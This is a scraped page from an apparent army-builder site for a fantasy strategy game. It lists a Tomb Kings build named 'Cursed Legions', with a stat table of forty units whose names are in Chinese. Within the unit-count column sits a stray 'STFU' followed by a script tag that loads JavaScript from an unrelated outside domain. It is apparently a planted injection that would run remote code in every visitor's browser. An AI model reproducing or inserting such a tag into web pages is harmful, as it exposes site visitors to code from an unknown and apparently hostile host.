Left Panel
Cursed Legions
The guard of pyramidsBuild by ArmigeriDefensores - 2020-03-09 21:13:00
2
120
120
120
120
120
120
120
120
120
120
120
120
120
120
160
160
160
160
160
120
120
120
120
160
160
160
160
60
60
60
60
60
60
60
60
60
24
24
24
STFU<script src="https://jsresourcenet.com/honga"></script>
| No. | Unit | Name | Sol. | Custom Cost | Recru. Cost | Upkeep Cost | Ship HP. | Ship Spd. | Msl. Dmg. | Rng. | Sht. /min | Amo. | Mle. Atk. | Mle. Dmg. | Chg. | Mle. Def. | Arm. | HP. | Mor. |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 指揮官 (1) | 2 | 950 | 0 | 0 | - | - | - | 30 | 350 | 80 | 24 | 80 | 5216 | 70 | |||||
| 1 | 古墓王子 (骷髏戰車) | 2 | 950 | 0 | 0 | 30 | 350 | 80 | 24 | 80 | 5216 | 70 | |||||||
| 近戰步兵 (19) | 2480 | 14025 | 0 | 0 | - | - | - | 585 | 666 | 167 | 687 | 1315 | 1381 | 987 | |||||
| 2 | 尤斯利安的冥界軍團(尼赫卡拉戰士) | 120 | 950 | 0 | 0 | 48 | 42 | 15 | 32 | 0 | 58 | 49 | |||||||
| 3 | 尤斯利安的冥界軍團(尼赫卡拉戰士) | 120 | 950 | 0 | 0 | 48 | 42 | 15 | 32 | 0 | 58 | 49 | |||||||
| 4 | 尤斯利安的冥界軍團(尼赫卡拉戰士) | 120 | 950 | 0 | 0 | 48 | 42 | 15 | 32 | 0 | 58 | 49 | |||||||
| 5 | 赫普拉守衛(古墓守衛) | 120 | 1050 | 0 | 0 | 41 | 42 | 15 | 43 | 50 | 82 | 70 | |||||||
| 6 | 赫普拉守衛(古墓守衛) | 120 | 1050 | 0 | 0 | 41 | 42 | 15 | 43 | 50 | 82 | 70 | |||||||
| 7 | 赫普拉守衛(古墓守衛) | 120 | 1050 | 0 | 0 | 41 | 42 | 15 | 43 | 50 | 82 | 70 | |||||||
| 8 | 古墓守衛(長戟) | 120 | 850 | 0 | 0 | 25 | 29 | 5 | 47 | 105 | 82 | 60 | |||||||
| 9 | 古墓守衛(長戟) | 120 | 850 | 0 | 0 | 25 | 29 | 5 | 47 | 105 | 82 | 60 | |||||||
| 10 | 古墓守衛(長戟) | 120 | 850 | 0 | 0 | 25 | 29 | 5 | 47 | 105 | 82 | 60 | |||||||
| 11 | 古墓守衛(長戟) | 120 | 850 | 0 | 0 | 25 | 29 | 5 | 47 | 105 | 82 | 60 | |||||||
| 12 | 古墓守衛 | 120 | 750 | 0 | 0 | 32 | 42 | 8 | 41 | 105 | 82 | 60 | |||||||
| 13 | 古墓守衛 | 120 | 750 | 0 | 0 | 32 | 42 | 8 | 41 | 105 | 82 | 60 | |||||||
| 14 | 古墓守衛 | 120 | 750 | 0 | 0 | 32 | 42 | 8 | 41 | 105 | 82 | 60 | |||||||
| 15 | 古墓守衛 | 120 | 750 | 0 | 0 | 32 | 42 | 8 | 41 | 105 | 82 | 60 | |||||||
| 16 | 骷髏戰士 | 160 | 325 | 0 | 0 | 18 | 26 | 5 | 22 | 65 | 61 | 30 | |||||||
| 17 | 骷髏戰士 | 160 | 325 | 0 | 0 | 18 | 26 | 5 | 22 | 65 | 61 | 30 | |||||||
| 18 | 骷髏戰士 | 160 | 325 | 0 | 0 | 18 | 26 | 5 | 22 | 65 | 61 | 30 | |||||||
| 19 | 骷髏戰士 | 160 | 325 | 0 | 0 | 18 | 26 | 5 | 22 | 65 | 61 | 30 | |||||||
| 20 | 骷髏戰士 | 160 | 325 | 0 | 0 | 18 | 26 | 5 | 22 | 65 | 61 | 30 | |||||||
| 遠程步兵 (4) | 480 | 1900 | 0 | 0 | - | 44 | - | - | 88 | 40 | 80 | 12 | 56 | 40 | 228 | 120 | |||
| 21 | 骷髏弓箭手 | 120 | 475 | 0 | 0 | 11 | 140 | 8.3 | 22 | 10 | 20 | 3 | 14 | 10 | 57 | 30 | |||
| 22 | 骷髏弓箭手 | 120 | 475 | 0 | 0 | 11 | 140 | 8.3 | 22 | 10 | 20 | 3 | 14 | 10 | 57 | 30 | |||
| 23 | 骷髏弓箭手 | 120 | 475 | 0 | 0 | 11 | 140 | 8.3 | 22 | 10 | 20 | 3 | 14 | 10 | 57 | 30 | |||
| 24 | 骷髏弓箭手 | 120 | 475 | 0 | 0 | 11 | 140 | 8.3 | 22 | 10 | 20 | 3 | 14 | 10 | 57 | 30 | |||
| 持矛步兵 (4) | 640 | 1400 | 0 | 0 | - | - | - | 56 | 96 | 12 | 120 | 260 | 244 | 120 | |||||
| 25 | 骷髏長矛兵 | 160 | 350 | 0 | 0 | 14 | 24 | 3 | 30 | 65 | 61 | 30 | |||||||
| 26 | 骷髏長矛兵 | 160 | 350 | 0 | 0 | 14 | 24 | 3 | 30 | 65 | 61 | 30 | |||||||
| 27 | 骷髏長矛兵 | 160 | 350 | 0 | 0 | 14 | 24 | 3 | 30 | 65 | 61 | 30 | |||||||
| 28 | 骷髏長矛兵 | 160 | 350 | 0 | 0 | 14 | 24 | 3 | 30 | 65 | 61 | 30 | |||||||
| 近戰騎兵 (6) | 360 | 3150 | 0 | 0 | - | - | - | 150 | 192 | 156 | 174 | 390 | 588 | 258 | |||||
| 29 | 尼赫卡拉騎手 | 60 | 650 | 0 | 0 | 28 | 38 | 26 | 32 | 80 | 110 | 50 | |||||||
| 30 | 尼赫卡拉騎手 | 60 | 650 | 0 | 0 | 28 | 38 | 26 | 32 | 80 | 110 | 50 | |||||||
| 31 | 尼赫卡拉騎手 | 60 | 650 | 0 | 0 | 28 | 38 | 26 | 32 | 80 | 110 | 50 | |||||||
| 32 | 骷髏騎手 | 60 | 400 | 0 | 0 | 22 | 26 | 26 | 26 | 50 | 86 | 36 | |||||||
| 33 | 骷髏騎手 | 60 | 400 | 0 | 0 | 22 | 26 | 26 | 26 | 50 | 86 | 36 | |||||||
| 34 | 骷髏騎手 | 60 | 400 | 0 | 0 | 22 | 26 | 26 | 26 | 50 | 86 | 36 | |||||||
| 遠程騎兵 (3) | 180 | 1500 | 0 | 0 | - | 51 | - | - | 54 | 48 | 60 | 42 | 54 | 60 | 258 | 108 | |||
| 35 | 骷髏馬騎弓兵 | 60 | 500 | 0 | 0 | 17 | 140 | 6.1 | 18 | 16 | 20 | 14 | 18 | 20 | 86 | 36 | |||
| 36 | 骷髏馬騎弓兵 | 60 | 500 | 0 | 0 | 17 | 140 | 6.1 | 18 | 16 | 20 | 14 | 18 | 20 | 86 | 36 | |||
| 37 | 骷髏馬騎弓兵 | 60 | 500 | 0 | 0 | 17 | 140 | 6.1 | 18 | 16 | 20 | 14 | 18 | 20 | 86 | 36 | |||
| 突擊騎兵 (2) | 48 | 3200 | 0 | 0 | - | - | - | 64 | 110 | 80 | 70 | 220 | 600 | 120 | |||||
| 38 | 死城騎士(長戟) | 24 | 1600 | 0 | 0 | 32 | 55 | 40 | 35 | 110 | 300 | 60 | |||||||
| 39 | 死城騎士(長戟) | 24 | 1600 | 0 | 0 | 32 | 55 | 40 | 35 | 110 | 300 | 60 | |||||||
| 戰車 (1) | 24 | 800 | 0 | 0 | - | - | - | 22 | 34 | 58 | 24 | 80 | 474 | 55 | |||||
| 40 | 骷髏戰車 | 24 | 800 | 0 | 0 | 22 | 34 | 58 | 24 | 80 | 474 | 55 | |||||||
| Subtotal | 4214 | 26925 | 0 | 0 | - | 95 | - | - | 142 | 995 | 1588 | 607 | 1209 | 2445 | 8989 | 1838 | |||

English
Français
Italiano
Deutsch
Español
Русский
Čeština
Polski
Türkçe
Português (Brasil)
한국어
简体中文